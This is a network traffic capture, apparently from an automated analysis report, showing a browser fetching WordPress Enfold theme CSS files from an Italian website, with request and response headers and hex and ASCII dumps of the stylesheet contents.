2025-01-03 16:32:51 UTC	2104	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0d 0a 47 4f 4f 47 4c 45 20 4d 41 50 53 0d 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================GOOGLE MAPS=======================================================================================

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:51 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:52 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:52 GMT Content-Type: text/css Content-Length: 3132 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:52 UTC	3132	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 43 4f 4e 42 4f 58 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================ICONBOX=============================================================================================

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:52 UTC	648	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:53 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:53 GMT Content-Type: text/css Content-Length: 17988 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:53 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 4d 61 73 6f 6e 72 79 20 47 72 69 64 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Masonry Grid========================================================================================
2025-01-03 16:32:53 UTC	1897	IN	Data Raw: 74 61 69 6e 65 72 7b 0a 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 30 70 78 29 3b 0a 09 09 66 69 6c 74 65 72 3a 62 6c 75 72 28 30 70 78 29 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 61 76 2d 68 6f 76 65 72 2d 6f 76 65 72 6c 61 79 2d 62 6c 75 72 6f 6e 68 6f 76 65 72 20 2e 61 76 2d 6d 61 73 6f 6e 72 79 2d 65 6e 74 72 79 3a 68 6f 76 65 72 20 2e 61 76 2d 6d 61 73 6f 6e 72 79 2d 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 0a 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 30 70 78 29 3b 0a 09 09 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 30 70 78 29 3b 0a 7d 0a 0a 0a 0a 0a 0a 0a 0a 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 38 30 30 70 78 29 7b 0a 20 2e 72 65 73 70 6f 6e Data Ascii: tainer{-webkit-filter:blur(0px);filter:blur(0px);}#top .av-hover-overlay-bluronhover .av-masonry-entry:hover .av-masonry-image-container{-webkit-filter:blur(10px);filter:blur(10px);}@media only screen and (min-width: 1800px){ .respon

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:53 UTC	609	OUT	GET /wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:53 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:53 GMT Content-Type: text/css Content-Length: 2178 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:53 UTC	2178	IN	Data Raw: 0a 2f 2a 73 69 74 65 20 70 72 65 6c 6f 61 64 65 72 3a 20 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 73 2e 6c 75 6b 65 68 61 61 73 2e 6d 65 2f 63 73 73 2d 6c 6f 61 64 65 72 73 2f 20 2a 2f 0a 2e 61 76 2d 73 69 74 65 6c 6f 61 64 65 72 2d 77 72 61 70 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 74 6f 70 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 77 69 64 74 68 3a 31 30 30 25 3b 0a 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7a 2d 69 6e 64 65 78 3a 20 31 30 30 30 30 30 30 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 0a 7d 0a 68 74 6d 6c 2e 61 76 2d 70 72 65 6c 6f 61 64 65 72 2d 61 63 74 69 76 65 7b 7d 0a 68 74 6d 6c 2e 61 76 2d 70 72 65 6c 6f 61 64 65 Data Ascii: /site preloader: http://projects.lukehaas.me/css-loaders/ /.av-siteloader-wrap{position: fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;z-index: 1000000;background: #fff;display:none;}html.av-preloader-active{}html.av-preloade

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:53 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:54 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:53 GMT Content-Type: text/css Content-Length: 4481 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:54 UTC	4481	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 55 42 4d 45 4e 55 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================SUBMENU=============================================================================================